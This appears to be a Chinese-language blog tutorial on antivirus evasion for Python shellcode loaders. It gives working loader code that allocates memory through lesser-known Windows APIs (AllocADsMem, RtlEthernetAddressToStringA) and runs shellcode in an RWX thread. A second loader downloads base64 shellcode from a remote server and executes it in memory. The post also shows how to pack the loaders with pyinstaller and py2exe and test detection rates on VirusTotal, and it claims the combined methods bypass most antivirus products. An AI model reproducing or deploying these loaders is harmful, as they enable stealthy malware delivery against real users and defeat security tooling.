寻找新的api
win api涉及很多内容,篇幅问题,这里不详细展开了,仅举个例子。
shellcode加载分为3步:申请内存->shellcode写入内存(-> 修改内存属性)->执行该内存
但是我们常用的函数,已经被一些杀软标记查杀
ctypes.windll.kernel32.VirtualAlloc ctypes.windll.kernel32.RtlMoveMemory ctypes.windll.kernel32.CreateThread
我们需要找到其他一些有类似功能的函数,来替代他们。具有哪些函数可以起到类似的作用,大家可以去微软api文档里找找看。
例如:
AllocADsMem:
https://docs.microsoft.com/en-us/windows/win32/api/adshlp/nf-adshlp-allocadsmem
ReallocADsMem
https://docs.microsoft.com/en-us/windows/win32/api/adshlp/nf-adshlp-reallocadsmem
测试:
import ctypes shellcode = b"\xfc\x48\x83\" macmem = ctypes.windll.Activeds.AllocADsMem(len(shellcode)/6*17) for i in range(len(shellcode)/6): bytes_a = shellcode[i*6:6+i*6] ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_a, macmem+i*17) list = [] for i in range(len(shellcode)/6): d = ctypes.string_at(macmem+i*17,17) list.append(d) ptr = ctypes.windll.Activeds.AllocADsMem(len(list)*6) rwxpage = ptr for i in range(len(list)): ctypes.windll.Ntdll.RtlEthernetStringToAddressA(list[i], list[i], rwxpage) rwxpage += 6 ctypes.windll.kernel32.VirtualProtect(ptr, len(list)*6, 0x40, ctypes.byref(ctypes.c_long(1))) handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0) ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
shellcode分离
最简单实用的分离就是将编码后的shellcode放到服务器上,再由加载器访问服务器页面地址,获取页面的Shellcode
内容,之后加载并执行
这里shellcode使用base64编码测试:
import ctypes import requests import base64 import urllib.request rep = requests.get("http://192.168.111.132/1.txt") shellcode = bytearray(base64.b64decode(rep.content)) ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 ptr = ctypes.windll.kernel32.VirtualAlloc( ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40) ) buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buffered, ctypes.c_int(len(shellcode)) ) handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)) ) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
python打包成exe
上面我们构建了我们的Python
文件,但是需要目标环境支持Python
以及存在相应的库才可以利用,因此我们可以将我们的Python
脚本打包成可执行程序来解决这些环境问题,打包方法有很多,例如pyinstaller
或者py2exe
、cx_Freeze
我们使用不同的打包程序,最后免杀的效果也不太一样,部分杀软对打包程序本身就加入了特征检测...
pyinstaller
安装:
python3:
pip3 install pyinstaller -i https://pypi.douban.com/simple
python2:
pip2 install pyinstaller==3.6 -i https://pypi.douban.com/simple
为了python2、python3都可以使用pyinstaller,进行各个的scripts目录,将pyinstaller.exe的名字分别改为pyinstaller2.exe、pyinstaller3.exe
基本语法:
pyinstaller -F test.py -w -i test.ico #使用-w参数会增加被杀软检测到的可能性
-F,-onefile: 表示生成单个可执行文件,常用。 -w, -windowed, -noconsole:表示运行时不会出现黑窗控制台。 -p 表示你自己自定义需要加载的类路径,一般情况下用不到 -i 表示可执行文件的图标。注意:图片后缀必须是.ico -c,console,-nowindowed:此为windows系统的默认选项,使用这个参数,运行时会有一个黑窗控制台。 -D,-onedir:创建一个目录,包含EXE文件,但会依赖很多文件(默认选项)
测试:
我们打包一个空项目,VT检测一下
pyinstaller2 -F hello.py #pyinstaller 3.6
pyinstaller3 -F hello.py -w #pyinstaller 5.0.1
pyinstaller3 -F hello.py #pyinstaller 3.6
可以看到使用python3+最新版本pyinstaller编译出来的exe,即使什么功能都没有,也会被很多杀软识别,所以我们还是尽量选用 python2+低版本的pyinstaller。
同时,python3编译出来的exe,要比python2的exe文件大很多。[虽然都挺大的...]
pyinstaller2 -F hello.py -w #pyinstaller 3.6
py2exe
安装:
python3
pip3 install py2exe
python2
pip2 install https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.zip/download
Microsoft Visual C++ 9.0 下载: https://github.com/reider-roque/sulley-win-installer/blob/master/VCForPython27.msi
使用:
参考:https://hoxis.github.io/python-py2exe.html
创建个文件setup.py
python3适用,python2在win64上无法打包到单个exe文件,还没解决
#coding=utf-8 from distutils.core import setup import py2exe setup( options={ 'py2exe': { 'optimize': 2, 'bundle_files': 1, # 所有文件打包成一个 exe 文件 'compressed': True, }, }, #console=[{"script": "test.py", "icon_resources": [(1, "test.ico")]}], #显示控制台 windows=[{"script": "test.py", "icon_resources": [(1, "test.ico")]}], #不显示控制台 zipfile=None, )
修改test.py为要打包的文件,test.ico为图标。
然后运行
python2 setup.py py2exe python3 setup.py py2exe
测试:
我们打包一个空项目,VT检测一下
python3 setup.py py2exe #不显示控制台 windows
python3 setup.py py2exe #显示控制台 console
python2
把所有东西打包到一个exe 不支持
临时方法:
setup.py
from distutils.core import setup import py2exe setup( options\={ 'py2exe': { 'optimize': 2, 'compressed': True, }, }, #console=\[{"script": "test.py", "icon\_resources": \[(1, "test.ico")\]}\], #显示控制台 windows\=\[{"script": "hello.py","icon\_resources": \[(1, "test.ico")}\], ##不显示控制台 zipfile\=None, )
运行python2 setup.py py2exe
然后将dist 子目录下的所有文件复制到目标,运行。
默认情况下,py2exe 会在 dist 下创建以下这些文件:
1、一个或多个 exe 文件; 2、几个 .pyd 文件,它们是已编译的扩展名,是 exe 文件所需要的; 3、python**.dll,加上其它的 .dll 文件,这些 .dll 是 .pyd 所需要的; 4、一个 library.zip 文件,它包含了已编译的纯的 python 模块如 .pyc 或 .pyo;
组合,免杀效果测试
以上随意选几种方式组合,即可过大部分杀软。例如:
1、shellcode_aes + shellcodeloader_pem + pyinstaller+python3 :
2、随机变量名+shellcode_xor_base64 + 反序列化 + pyinstaller+python3 :
小节
免杀的方式多种多样,这只是免杀技术的冰山一角角。
本文我们测试了python常见的一些免杀方法,篇幅问题,没有还有一些没有展示,比如使用一些新的winapi(AllocADsMem、ReallocADsMem等等)、其他的分离方法、加载内存方法...
我们可以看出,虽然最后的查杀率还可以,但是生成的文件太大了,也有一些杀软把用py2exe、pyinstaller生成的任何exe包都当作了恶意文件,因此在实际中,还是更推荐用C#、go这种语言来写免杀。当然,方法都类似,只是语言不同。